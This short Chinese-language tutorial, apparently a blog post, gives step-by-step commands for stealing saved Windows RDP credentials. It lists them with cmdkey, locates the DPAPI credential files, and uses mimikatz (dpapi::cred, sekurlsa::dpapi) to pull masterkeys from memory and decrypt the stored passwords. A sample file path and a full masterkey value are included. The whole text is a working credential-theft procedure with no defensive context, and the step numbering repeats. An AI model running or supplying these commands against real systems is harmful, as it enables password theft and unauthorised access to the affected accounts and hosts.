1.查询本地保存的RDP凭证
cmdkey /l

2.获取RDP本地保存凭证的文件
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

3.查询指定凭证文件对应的guidMasterKey
mimikatz# dpapi::cred /in:C:\Users\hanmengzi\AppData\Local\Microsoft\Credentials\4271BC8446A2B6987B1B22E9CE849985

3.查询GUID对应的masterkey
mimikatz # sekurlsa::dpapi

4.使用masterkey进行解密RDP
dpapi::cred /in:C:\Users\hanmengzi\AppData\Local\Microsoft\Credentials\4271BC8446A2B6987B1B22E9CE849985 /masterkey:6858b78c7b20bf4678f3f1240abe825d65db127fbfbcb7c4b81919ef06eb722ecac7c1bc1b7868a4b714696914c4d6d3f41f20db1c18571ec4080610e2c15382

网友评论